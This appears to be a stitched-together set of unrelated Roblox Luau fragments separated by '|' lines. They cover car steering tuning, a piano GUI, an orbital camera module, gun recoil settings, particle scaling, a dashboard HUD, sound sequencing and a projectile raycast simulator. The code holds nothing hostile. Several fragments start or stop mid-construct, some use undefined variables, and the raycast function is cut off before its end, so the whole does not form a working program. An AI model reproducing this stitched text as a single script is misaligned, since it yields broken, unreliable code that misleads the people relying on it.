Tune.SteerSpeed = .05 -- Steering increment per tick (in degrees)
Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees)
Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS)
Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
--Steer Gyro Tuning
Tune.SteerD = 1000 -- Steering Dampening
Tune.SteerMaxTorque = 50000 -- Steering Force
Tune.SteerP = 100000 -- Steering Aggressiveness
|
----------------------------------
------------FUNCTIONS-------------
----------------------------------
|
function ShowPiano()
PianoGui:TweenPosition(
UDim2.new(0.5, -355, 1, -230),
Enum.EasingDirection.Out,
Enum.EasingStyle.Sine,
.5,
true
)
end
function HidePiano()
PianoGui:TweenPosition(
UDim2.new(0.5, -380, 1, 0),
Enum.EasingDirection.Out,
Enum.EasingStyle.Sine,
.5,
true
)
end
function ShowSheets()
SheetsGui:TweenPosition(
UDim2.new(0.5, -200, 1, -520),
Enum.EasingDirection.Out,
Enum.EasingStyle.Sine,
.5,
true
)
end
function HideSheets()
SheetsGui:TweenPosition(
UDim2.new(0.5, -200, 1, 0),
Enum.EasingDirection.Out,
Enum.EasingStyle.Sine,
.5,
true
)
end
function ToggleSheets()
SheetsVisible = not SheetsVisible
if SheetsVisible then
ShowSheets()
else
HideSheets()
end
end
function IsBlack(note)
if note%12 == 2 or note%12 == 4 or note%12 == 7 or note%12 == 9 or note%12 == 11 then
return true
end
end
function HighlightPianoKey(note)
if note < 62 and note > 0 then
local keyGui = PianoGui.Keys[note]
if IsBlack(note) then
keyGui.BackgroundColor3 = Color3.new(50/255, 50/255, 50/255)
else
keyGui.BackgroundColor3 = Color3.new(200/255, 200/255, 200/255)
end
delay(.5, function() RestorePianoKey(note) end)
else
delay(.5, function() RestorePianoKey(note) end)
end
end
function RestorePianoKey(note)
if note < 62 and note > 0 then
local keyGui = PianoGui.Keys[note]
if IsBlack(note) then
keyGui.BackgroundColor3 = Color3.new(0, 0, 0)
else
keyGui.BackgroundColor3 = Color3.new(1, 1, 1)
end
end
end
function PianoKeyPressed(Object, note)
local type = Object.UserInputType.Name
if type == "MouseButton1" or type == "Touch" then
PlayNoteClient(note)
end
end
function ExitButtonPressed(Object)
local type = Object.UserInputType.Name
if type == "MouseButton1" or type == "Touch" then
Deactivate()
end
end
function SheetsButtonPressed(Object)
local type = Object.UserInputType.Name
if type == "MouseButton1" or type == "Touch" then
ToggleSheets()
end
end
function ToggleCaps()
ShiftLock = not ShiftLock
if ShiftLock then
PianoGui.CapsButton.BackgroundColor3 = Color3.new(1, 170/255, 0)
PianoGui.CapsButton.BorderColor3 = Color3.new(154/255, 103/255, 0)
PianoGui.CapsButton.TextColor3 = Color3.new(1, 1, 1)
else
PianoGui.CapsButton.BackgroundColor3 = Color3.new(140/255, 140/255, 140/255)
PianoGui.CapsButton.BorderColor3 = Color3.new(68/255, 68/255, 68/255)
PianoGui.CapsButton.TextColor3 = Color3.new(180/255, 180/255, 180/255)
end
end
function CapsButtonPressed(Object)
local type = Object.UserInputType.Name
if type == "MouseButton1" or type == "Touch" then
ToggleCaps()
end
end
|
--[[ The Module ]]
|
--
local BaseCamera = require(script.Parent:WaitForChild("BaseCamera"))
local OrbitalCamera = setmetatable({}, BaseCamera)
OrbitalCamera.__index = OrbitalCamera
function OrbitalCamera.new()
local self = setmetatable(BaseCamera.new(), OrbitalCamera)
self.lastUpdate = tick()
-- OrbitalCamera-specific members
self.changedSignalConnections = {}
self.refAzimuthRad = nil
self.curAzimuthRad = nil
self.minAzimuthAbsoluteRad = nil
self.maxAzimuthAbsoluteRad = nil
self.useAzimuthLimits = nil
self.curElevationRad = nil
self.minElevationRad = nil
self.maxElevationRad = nil
self.curDistance = nil
self.minDistance = nil
self.maxDistance = nil
-- Gamepad
self.r3ButtonDown = false
self.l3ButtonDown = false
self.gamepadDollySpeedMultiplier = 1
self.lastUserPanCamera = tick()
self.externalProperties = {}
self.externalProperties["InitialDistance"] = 25
self.externalProperties["MinDistance"] = 10
self.externalProperties["MaxDistance"] = 100
self.externalProperties["InitialElevation"] = 35
self.externalProperties["MinElevation"] = 35
self.externalProperties["MaxElevation"] = 35
self.externalProperties["ReferenceAzimuth"] = -45 -- Angle around the Y axis where the camera starts. -45 offsets the camera in the -X and +Z directions equally
self.externalProperties["CWAzimuthTravel"] = 90 -- How many degrees the camera is allowed to rotate from the reference position, CW as seen from above
self.externalProperties["CCWAzimuthTravel"] = 90 -- How many degrees the camera is allowed to rotate from the reference position, CCW as seen from above
self.externalProperties["UseAzimuthLimits"] = false -- Full rotation around Y axis available by default
self:LoadNumberValueParameters()
return self
end
function OrbitalCamera:LoadOrCreateNumberValueParameter(name, valueType, updateFunction)
local valueObj = script:FindFirstChild(name)
if valueObj and valueObj:isA(valueType) then
-- Value object exists and is the correct type, use its value
self.externalProperties[name] = valueObj.Value
elseif self.externalProperties[name] ~= nil then
-- Create missing (or replace incorrectly-typed) valueObject with default value
valueObj = Instance.new(valueType)
valueObj.Name = name
valueObj.Parent = script
valueObj.Value = self.externalProperties[name]
else
print("externalProperties table has no entry for ",name)
return
end
if updateFunction then
if self.changedSignalConnections[name] then
self.changedSignalConnections[name]:Disconnect()
end
self.changedSignalConnections[name] = valueObj.Changed:Connect(function(newValue)
self.externalProperties[name] = newValue
updateFunction(self)
end)
end
end
function OrbitalCamera:SetAndBoundsCheckAzimuthValues()
self.minAzimuthAbsoluteRad = math.rad(self.externalProperties["ReferenceAzimuth"]) - math.abs(math.rad(self.externalProperties["CWAzimuthTravel"]))
self.maxAzimuthAbsoluteRad = math.rad(self.externalProperties["ReferenceAzimuth"]) + math.abs(math.rad(self.externalProperties["CCWAzimuthTravel"]))
self.useAzimuthLimits = self.externalProperties["UseAzimuthLimits"]
if self.useAzimuthLimits then
self.curAzimuthRad = math.max(self.curAzimuthRad, self.minAzimuthAbsoluteRad)
self.curAzimuthRad = math.min(self.curAzimuthRad, self.maxAzimuthAbsoluteRad)
end
end
function OrbitalCamera:SetAndBoundsCheckElevationValues()
-- These degree values are the direct user input values. It is deliberate that they are
-- ranged checked only against the extremes, and not against each other. Any time one
-- is changed, both of the internal values in radians are recalculated. This allows for
-- A developer to change the values in any order and for the end results to be that the
-- internal values adjust to match intent as best as possible.
local minElevationDeg = math.max(self.externalProperties["MinElevation"], MIN_ALLOWED_ELEVATION_DEG)
local maxElevationDeg = math.min(self.externalProperties["MaxElevation"], MAX_ALLOWED_ELEVATION_DEG)
-- Set internal values in radians
self.minElevationRad = math.rad(math.min(minElevationDeg, maxElevationDeg))
self.maxElevationRad = math.rad(math.max(minElevationDeg, maxElevationDeg))
self.curElevationRad = math.max(self.curElevationRad, self.minElevationRad)
self.curElevationRad = math.min(self.curElevationRad, self.maxElevationRad)
end
function OrbitalCamera:SetAndBoundsCheckDistanceValues()
self.minDistance = self.externalProperties["MinDistance"]
self.maxDistance = self.externalProperties["MaxDistance"]
self.curDistance = math.max(self.curDistance, self.minDistance)
self.curDistance = math.min(self.curDistance, self.maxDistance)
end
|
--Anything that can cause this to yeild will prevent teleport data being recieved.
|
local RenderStepped = RunService.RenderStepped
local StartShutdown = game.ReplicatedStorage:WaitForChild("StartShutdown")
local CreateTeleportScreen = require(script:WaitForChild("TeleportScreenCreator"))
|
--Предмет поместить в Workspace, если предмет в Model или др. то переместить
--Сам этот скрипт переместить в предмет
| |
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,VRecoil = {35,45} --- Vertical Recoil
,HRecoil = {32,35} --- Horizontal Recoil
,AimRecover = .35 ---- Between 0 & 1
,RecoilPunch = .6
,VPunchBase = 30.75 --- Vertical Punch
,HPunchBase = 22.25 --- Horizontal Punch
,DPunchBase = 1 --- Tilt Punch | useless
,AimRecoilReduction = 1 --- Recoil Reduction Factor While Aiming (Do not set to 0)
,PunchRecover = 0.3
,MinRecoilPower = 1
,MaxRecoilPower = 1
,RecoilPowerStepAmount = 1
,MinSpread = 35 --- Min bullet spread value | Studs
,MaxSpread = 65 --- Max bullet spread value | Studs
,AimInaccuracyStepAmount = 15
,WalkMultiplier = 0 --- Bullet spread based on player speed
,SwayBase = 0.25 --- Weapon Base Sway | Studs
,MaxSway = 2 --- Max sway value based on player stamina | Studs
|
--[[
A component that establishes a connection to a Roblox event when it is rendered.
]]
|
local GridRoot = script.Parent
local UIBloxRoot = GridRoot.Parent
local Roact = require(UIBloxRoot.Parent.Roact)
local ExternalEventConnection = Roact.Component:extend("ExternalEventConnection")
function ExternalEventConnection:init()
self.connection = nil
end
|
----- Variables -----
|
local hotWater = 1
local coldWater = 1
local waterTemp = nil
local p = script.Parent
|
--[[
Scales a ParticleEmitter. MAY not support all properties. Supports tuple of particles.
Functions.ScaleParticle(
particles, <-- |REQ| ParticleEmitter that will be scaled
scale, <-- |REQ| Scale (int)
)
--]]
|
return function(_t, scale)
--- Allow for array of particles
if type(_t) ~= "table" then _t = {_t} end
--- Iterate through particles
for _, p in ipairs(_t) do
--- Size
local newKeypoints = {}
for _, keypoint in ipairs(p.Size.Keypoints) do
table.insert(newKeypoints, NumberSequenceKeypoint.new(
keypoint.Time,
keypoint.Value * scale,
keypoint.Envelope * scale
))
end
p.Size = NumberSequence.new(newKeypoints)
--- Drag
p.Drag = p.Drag * scale
--- Velocity
p.VelocityInheritance = p.VelocityInheritance * scale
--- Speed
p.Speed = NumberRange.new(
p.Speed.Min * scale,
p.Speed.Max * scale
)
--- Acceleration
p.Acceleration = Vector3.new(
p.Acceleration.X * scale,
p.Acceleration.Y * scale,
p.Acceleration.Z * scale
)
end
end
|
-----------------------------------------------------------------------------------------------
|
script.Parent:WaitForChild("Gear")
script.Parent:WaitForChild("Speed")
script.Parent:WaitForChild("Needle")
local player=game:GetService("Players").LocalPlayer
local mouse=player:GetMouse()
local car = script.Parent.Parent.Parent.Car.Value
car.DriveSeat.HeadsUpDisplay = false
local _Tune = require(car["A-Chassis Tune"])
local _pRPM = _Tune.PeakRPM
local _lRPM = _Tune.Redline
local currentUnits = 1
local revEnd = math.ceil(_lRPM/1000)
script.Parent.Parent.Parent.Values.Gear.Changed:connect(function()
local gearText = script.Parent.Parent.Parent.Values.Gear.Value
if gearText == 0 then gearText = "N"
elseif gearText == -1 then gearText = "R"
end
script.Parent.Gear.Text = gearText
end)
script.Parent.Parent.Parent.Values.RPM.Changed:connect(function()
script.Parent.Needle.Rotation = 230 * math.min(1,script.Parent.Parent.Parent.Values.RPM.Value / (revEnd*1000))
end)
script.Parent.Parent.Parent.Values.Velocity.Changed:connect(function(property)
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Parent.Values.Velocity.Value.Magnitude)
end)
function PBrake()
if script.Parent.Parent.Parent.Values.PBrake.Value then
script.Parent.PBrake.ImageColor3 = Color3.fromRGB(222, 62, 62)
else
script.Parent.PBrake.ImageColor3 = Color3.fromRGB(241, 241, 241)
end
end
script.Parent.Parent.Parent.Values.PBrake.Changed:connect(PBrake)
function Headlight()
if car.Body.Headlight.on.Value then
script.Parent.HeadLight.ImageColor3 = Color3.fromRGB(55, 255, 52)
else
script.Parent.HeadLight.ImageColor3 = Color3.fromRGB(241, 241, 241)
end
end
car.Body.Headlight.on.Changed:connect(Headlight)
wait(.1)
|
-- In radian the maximum accuracy penalty
|
local MaxSpread = 0.3
|
--Visiblity
|
uis = game:GetService("UserInputService")
ismobile = uis.TouchEnabled
button.Visible = ismobile
|
--12--
|
print 'Playing Sound 12'
music.SoundId = song12
music:play()
wait(130)
|
--Aux Card, 8 Step
|
script.Parent.Parent.Amp.Value = true
script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10
script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10
script.Parent.Parent.Parent.Sound.Sound.PlaybackSpeed = 640/850
script.Parent.Parent.Parent.Sound.Sound2.PlaybackSpeed = 400/850
for i = 1, 25 do
script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.Parent.Sound.Sound.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600
script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.Parent.Sound.Sound2.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600
wait(0.030)
end
script.Parent.Parent.Parent.Sound.Sound.PlaybackSpeed = 795/850
script.Parent.Parent.Parent.Sound.Sound2.PlaybackSpeed = 640/850
script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10
script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10
for i = 1, 25 do
script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.Parent.Sound.Sound.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600
script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.Parent.Sound.Sound2.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600
wait(0.030)
end
script.Parent.Parent.Parent.Sound.Sound.PlaybackSpeed = 474/850
script.Parent.Parent.Parent.Sound.Sound2.PlaybackSpeed = 720/850
script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10
script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10
for i = 1, 25 do
script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.Parent.Sound.Sound.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600
script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.Parent.Sound.Sound2.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600
wait(0.030)
end
script.Parent.Parent.Parent.Sound.Sound.PlaybackSpeed = 474/850
script.Parent.Parent.Parent.Sound.Sound2.PlaybackSpeed = 400/850
script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10
script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10
for i = 1, 50 do
script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.Parent.Sound.Sound.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600
script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.Parent.Sound.Sound2.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600
wait(0.030)
end
script.Parent.Parent.Parent.Sound.Sound.PlaybackSpeed = 640/850
script.Parent.Parent.Parent.Sound.Sound2.PlaybackSpeed = 400/850
script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10
script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10
for i = 1, 25 do
script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.Parent.Sound.Sound.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600
script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.Parent.Sound.Sound2.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600
wait(0.030)
end
script.Parent.Parent.Parent.Sound.Sound.PlaybackSpeed = 474/850
script.Parent.Parent.Parent.Sound.Sound2.PlaybackSpeed = 720/850
script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10
script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10
for i = 1, 25 do
script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.Parent.Sound.Sound.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600
script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.Parent.Sound.Sound2.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600
wait(0.030)
end
script.Parent.Parent.Parent.Sound.Sound.PlaybackSpeed = 640/850
script.Parent.Parent.Parent.Sound.Sound2.PlaybackSpeed = 794/850
script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10
script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10
for i = 1, 25 do
script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.Parent.Sound.Sound.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600
script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.Parent.Sound.Sound2.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600
wait(0.030)
end
script.Parent.Parent.Parent.Sound.Sound.PlaybackSpeed = 640/850
script.Parent.Parent.Parent.Sound.Sound2.PlaybackSpeed = 400/850
script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10
script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.SoundblockSize.Value/10
for i = 1, 70 do
script.Parent.Parent.Parent.Sound.Sound.EmitterSize = script.Parent.Parent.Parent.Sound.Sound.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600
script.Parent.Parent.Parent.Sound.Sound2.EmitterSize = script.Parent.Parent.Parent.Sound.Sound2.EmitterSize - script.Parent.Parent.SoundblockSize.Value/600
wait(0.030)
end
script.Parent.Parent.Amp.Value = false
|
-- Simulate a raycast by one tick.
|
local function SimulateCast(cast: ActiveCast, delta: number, expectingShortCall: boolean)
assert(cast.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
PrintDebug("Casting for frame.")
local latestTrajectory = cast.StateInfo.Trajectories[#cast.StateInfo.Trajectories]
local origin = latestTrajectory.Origin
local totalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime
local initialVelocity = latestTrajectory.InitialVelocity
local acceleration = latestTrajectory.Acceleration
local lastPoint = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration)
local lastVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration)
local lastDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime
cast.StateInfo.TotalRuntime += delta
-- Recalculate this.
totalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime
local currentTarget = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration)
local segmentVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration)
local totalDisplacement = currentTarget - lastPoint -- This is the displacement from where the ray was on the last from to where the ray is now.
local rayDir = totalDisplacement.Unit * segmentVelocity.Magnitude * delta
local targetWorldRoot = cast.RayInfo.WorldRoot
local function castFunction(lastPoint, rayDir, params) -- Main Cast
local resultOfCast = targetWorldRoot:Raycast(lastPoint, rayDir, params)
local needRecast = false
if resultOfCast then
local hitInstance = resultOfCast.Instance
if hitInstance.Parent:IsA("Accoutrement") then
local newIgnoreTable = {hitInstance}
for i,v in pairs(params.FilterDescendantsInstances) do
table.insert(newIgnoreTable, v)
end
cast.RayInfo.Parameters.FilterDescendantsInstances = newIgnoreTable
resultOfCast = nil
needRecast = true
end
if hitInstance.CanCollide == false and not FindCharacterAncestor(hitInstance) then
local newIgnoreTable = {hitInstance}
for i,v in pairs(params.FilterDescendantsInstances) do
table.insert(newIgnoreTable, v)
end
cast.RayInfo.Parameters.FilterDescendantsInstances = newIgnoreTable
resultOfCast = nil
needRecast = true
end
if hitInstance.CanCollide == false and hitInstance.Transparency > 0.2 and not FindCharacterAncestor(hitInstance) then
local newIgnoreTable = {hitInstance}
for i,v in pairs(params.FilterDescendantsInstances) do
table.insert(newIgnoreTable, v)
end
cast.RayInfo.Parameters.FilterDescendantsInstances = newIgnoreTable
resultOfCast = nil
needRecast = true
end
end
if needRecast == true then
return castFunction(lastPoint, rayDir, cast.RayInfo.Parameters)
end
return resultOfCast
end
local resultOfCast = castFunction(lastPoint, rayDir, cast.RayInfo.Parameters)
local point = currentTarget
local part: Instance? = nil
local material = Enum.Material.Air
local normal = Vector3.new()
if (resultOfCast ~= nil) then
point = resultOfCast.Position
part = resultOfCast.Instance
material = resultOfCast.Material
normal = resultOfCast.Normal
end
local rayDisplacement = (point - lastPoint).Magnitude
-- For clarity -- totalDisplacement is how far the ray would have traveled if it hit nothing,
-- and rayDisplacement is how far the ray really traveled (which will be identical to totalDisplacement if it did indeed hit nothing)
SendLengthChanged(cast, lastPoint, rayDir.Unit, rayDisplacement, segmentVelocity, cast.RayInfo.CosmeticBulletObject)
cast.StateInfo.DistanceCovered += rayDisplacement
local rayVisualization: ConeHandleAdornment? = nil
if (delta > 0) then
rayVisualization = DbgVisualizeSegment(CFrame.new(lastPoint, lastPoint + rayDir), rayDisplacement)
end
-- HIT DETECTED. Handle all that garbage, and also handle behaviors 1 and 2 (default behavior, go high res when hit) if applicable.
-- CAST BEHAVIOR 2 IS HANDLED IN THE CODE THAT CALLS THIS FUNCTION.
if part and part ~= cast.RayInfo.CosmeticBulletObject then
local start = tick()
PrintDebug("Hit something, testing now.")
-- SANITY CHECK: Don't allow the user to yield or run otherwise extensive code that takes longer than one frame/heartbeat to execute.
if (cast.RayInfo.CanPierceCallback ~= nil) then
if expectingShortCall == false then
if (cast.StateInfo.IsActivelySimulatingPierce) then
cast:Terminate()
error("ERROR: The latest call to CanPierceCallback took too long to complete! This cast is going to suffer desyncs which WILL cause unexpected behavior and errors. Please fix your performance problems, or remove statements that yield (e.g. wait() calls)")
-- Use error. This should absolutely abort the cast.
end
end
-- expectingShortCall is used to determine if we are doing a forced resolution increase, in which case this will be called several times in a single frame, which throws this error.
cast.StateInfo.IsActivelySimulatingPierce = true
end
------------------------------
if cast.RayInfo.CanPierceCallback == nil or (cast.RayInfo.CanPierceCallback ~= nil and cast.RayInfo.CanPierceCallback(cast, resultOfCast, segmentVelocity, cast.RayInfo.CosmeticBulletObject) == false) then
PrintDebug("Piercing function is nil or it returned FALSE to not pierce this hit.")
cast.StateInfo.IsActivelySimulatingPierce = false
if (cast.StateInfo.HighFidelityBehavior == 2 and latestTrajectory.Acceleration ~= Vector3.new() and cast.StateInfo.HighFidelitySegmentSize ~= 0) then
cast.StateInfo.CancelHighResCast = false -- Reset this here.
if cast.StateInfo.IsActivelyResimulating then
cast:Terminate()
error("Cascading cast lag encountered! The caster attempted to perform a high fidelity cast before the previous one completed, resulting in exponential cast lag. Consider increasing HighFidelitySegmentSize.")
end
cast.StateInfo.IsActivelyResimulating = true
-- This is a physics based cast and it needs to be recalculated.
PrintDebug("Hit was registered, but recalculation is on for physics based casts. Recalculating to verify a real hit...")
-- Split this ray segment into smaller segments of a given size.
-- In 99% of cases, it won't divide evently (e.g. I have a distance of 1.25 and I want to divide into 0.1 -- that won't work)
-- To fix this, the segments need to be stretched slightly to fill the space (rather than having a single shorter segment at the end)
local numSegmentsDecimal = rayDisplacement / cast.StateInfo.HighFidelitySegmentSize -- say rayDisplacement is 5.1, segment size is 0.5 -- 10.2 segments
local numSegmentsReal = math.floor(numSegmentsDecimal) -- 10 segments + 0.2 extra segments
local realSegmentLength = rayDisplacement / numSegmentsReal -- this spits out 0.51, which isn't exact to the defined 0.5, but it's close
-- Now the real hard part is converting this to time.
local timeIncrement = delta / numSegmentsReal
for segmentIndex = 1, numSegmentsReal do
if cast.StateInfo.CancelHighResCast then
cast.StateInfo.CancelHighResCast = false
break
end
local subPosition = GetPositionAtTime(lastDelta + (timeIncrement * segmentIndex), origin, initialVelocity, acceleration)
local subVelocity = GetVelocityAtTime(lastDelta + (timeIncrement * segmentIndex), initialVelocity, acceleration)
local subRayDir = subVelocity * delta
local function castFunction(subPosition, subRayDir, params)
local subResult = targetWorldRoot:Raycast(subPosition, subRayDir, params)
if subResult then
local hitInstance = subResult.Instance
if hitInstance.Parent:IsA("Accoutrement") then
table.insert(params.FilterDescendantsInstances, hitInstance)
subResult = nil
end
if hitInstance.CanCollide == false then
table.insert(params.FilterDescendantsInstances, hitInstance)
subResult = nil
end
if hitInstance.CanCollide == false and hitInstance.Transparency > 0.2 then
table.insert(params.FilterDescendantsInstances, hitInstance)
subResult = nil
end
end
return subResult
end
local subResult = castFunction(subPosition, subRayDir, cast.RayInfo.Parameters)
local subDisplacement = (subPosition - (subPosition + subVelocity)).Magnitude
if (subResult ~= nil) then
local subDisplacement = (subPosition - subResult.Position).Magnitude
local dbgSeg = DbgVisualizeSegment(CFrame.new(subPosition, subPosition + subVelocity), subDisplacement)
if (dbgSeg ~= nil) then dbgSeg.Color3 = Color3.new(0.286275, 0.329412, 0.247059) end
if cast.RayInfo.CanPierceCallback == nil or (cast.RayInfo.CanPierceCallback ~= nil and cast.RayInfo.CanPierceCallback(cast, subResult, subVelocity, cast.RayInfo.CosmeticBulletObject) == false) then
-- Still hit even at high res
cast.StateInfo.IsActivelyResimulating = false
SendRayHit(cast, subResult, subVelocity, cast.RayInfo.CosmeticBulletObject)
cast:Terminate()
local vis = DbgVisualizeHit(CFrame.new(point), false)
if (vis ~= nil) then vis.Color3 = Color3.new(0.0588235, 0.87451, 1) end
return
else
-- Recalculating hit something pierceable instead.
SendRayPierced(cast, subResult, subVelocity, cast.RayInfo.CosmeticBulletObject) -- This may result in CancelHighResCast being set to true.
local vis = DbgVisualizeHit(CFrame.new(point), true)
if (vis ~= nil) then vis.Color3 = Color3.new(1, 0.113725, 0.588235) end
if (dbgSeg ~= nil) then dbgSeg.Color3 = Color3.new(0.305882, 0.243137, 0.329412) end
end
else
local dbgSeg = DbgVisualizeSegment(CFrame.new(subPosition, subPosition + subVelocity), subDisplacement)
if (dbgSeg ~= nil) then dbgSeg.Color3 = Color3.new(0.286275, 0.329412, 0.247059) end
end
end
-- If the script makes it here, then it wasn't a real hit (higher resolution revealed that the low-res hit was faulty)
-- Just let it keep going.
cast.StateInfo.IsActivelyResimulating = false
elseif (cast.StateInfo.HighFidelityBehavior ~= 1 and cast.StateInfo.HighFidelityBehavior ~= 3) then
cast:Terminate()
error("Invalid value " .. (cast.StateInfo.HighFidelityBehavior) .. " for HighFidelityBehavior.")
else
-- This is not a physics cast, or recalculation is off.
PrintDebug("Hit was successful. Terminating.")
SendRayHit(cast, resultOfCast, segmentVelocity, cast.RayInfo.CosmeticBulletObject)
cast:Terminate()
DbgVisualizeHit(CFrame.new(point), false)
return
end
else
PrintDebug("Piercing function returned TRUE to pierce this part.")
if rayVisualization ~= nil then
rayVisualization.Color3 = Color3.new(0.4, 0.05, 0.05) -- Turn it red to signify that the cast was scrapped.
end
DbgVisualizeHit(CFrame.new(point), true)
local params = cast.RayInfo.Parameters
local alteredParts = {}
local currentPierceTestCount = 0
local originalFilter = params.FilterDescendantsInstances
local brokeFromSolidObject = false
while true do
-- So now what I need to do is redo this entire cast, just with the new filter list
-- Catch case: Is it terrain?
if resultOfCast.Instance:IsA("Terrain") then
if material == Enum.Material.Water then
-- Special case: Pierced on water?
cast:Terminate()
error("Do not add Water as a piercable material. If you need to pierce water, set cast.RayInfo.Parameters.IgnoreWater = true instead", 0)
end
warn("WARNING: The pierce callback for this cast returned TRUE on Terrain! This can cause severely adverse effects.")
end
if params.FilterType == Enum.RaycastFilterType.Blacklist then
-- blacklist
-- DO NOT DIRECTLY TABLE.INSERT ON THE PROPERTY
local filter = params.FilterDescendantsInstances
table.insert(filter, resultOfCast.Instance)
table.insert(alteredParts, resultOfCast.Instance)
params.FilterDescendantsInstances = filter
else
-- whitelist
-- method implemeneted by custom table system
-- DO NOT DIRECTLY TABLE.REMOVEOBJECT ON THE PROPERTY
local filter = params.FilterDescendantsInstances
table.removeObject(filter, resultOfCast.Instance)
table.insert(alteredParts, resultOfCast.Instance)
params.FilterDescendantsInstances = filter
end
SendRayPierced(cast, resultOfCast, segmentVelocity, cast.RayInfo.CosmeticBulletObject)
-- List has been updated, so let's cast again.
local function castFunction(lastPoint, rayDir, params)
local resultOfCast = targetWorldRoot:Raycast(lastPoint, rayDir, params)
if resultOfCast then
local hitInstance = resultOfCast.Instance
if hitInstance.Parent:IsA("Accoutrement") then
table.insert(params.FilterDescendantsInstances, hitInstance)
resultOfCast = nil
end
if hitInstance.CanCollide == false then
table.insert(params.FilterDescendantsInstances, hitInstance)
resultOfCast = nil
end
if hitInstance.CanCollide == false and hitInstance.Transparency > 0.2 then
table.insert(params.FilterDescendantsInstances, hitInstance)
resultOfCast = nil
end
end
return resultOfCast
end
resultOfCast = castFunction(lastPoint, rayDir, params)
-- No hit? No simulation. Break.
if resultOfCast == nil then
break
end
if currentPierceTestCount >= MAX_PIERCE_TEST_COUNT then
warn("WARNING: Exceeded maximum pierce test budget for a single ray segment (attempted to test the same segment " .. MAX_PIERCE_TEST_COUNT .. " times!)")
break
end
currentPierceTestCount = currentPierceTestCount + 1;
if cast.RayInfo.CanPierceCallback(cast, resultOfCast, segmentVelocity, cast.RayInfo.CosmeticBulletObject) == false then
brokeFromSolidObject = true
break
end
end
-- Restore the filter to its default state.
cast.RayInfo.Parameters.FilterDescendantsInstances = originalFilter
cast.StateInfo.IsActivelySimulatingPierce = false
if brokeFromSolidObject then
-- We actually hit something while testing.
PrintDebug("Broke because the ray hit something solid (" .. tostring(resultOfCast.Instance) .. ") while testing for a pierce. Terminating the cast.")
SendRayHit(cast, resultOfCast, segmentVelocity, cast.RayInfo.CosmeticBulletObject)
cast:Terminate()
DbgVisualizeHit(CFrame.new(resultOfCast.Position), false)
return
end
-- And exit the function here too.
end
end
if (cast.StateInfo.DistanceCovered >= cast.RayInfo.MaxDistance) then
-- SendRayHit(cast, nil, segmentVelocity, cast.RayInfo.CosmeticBulletObject)
cast:Terminate()
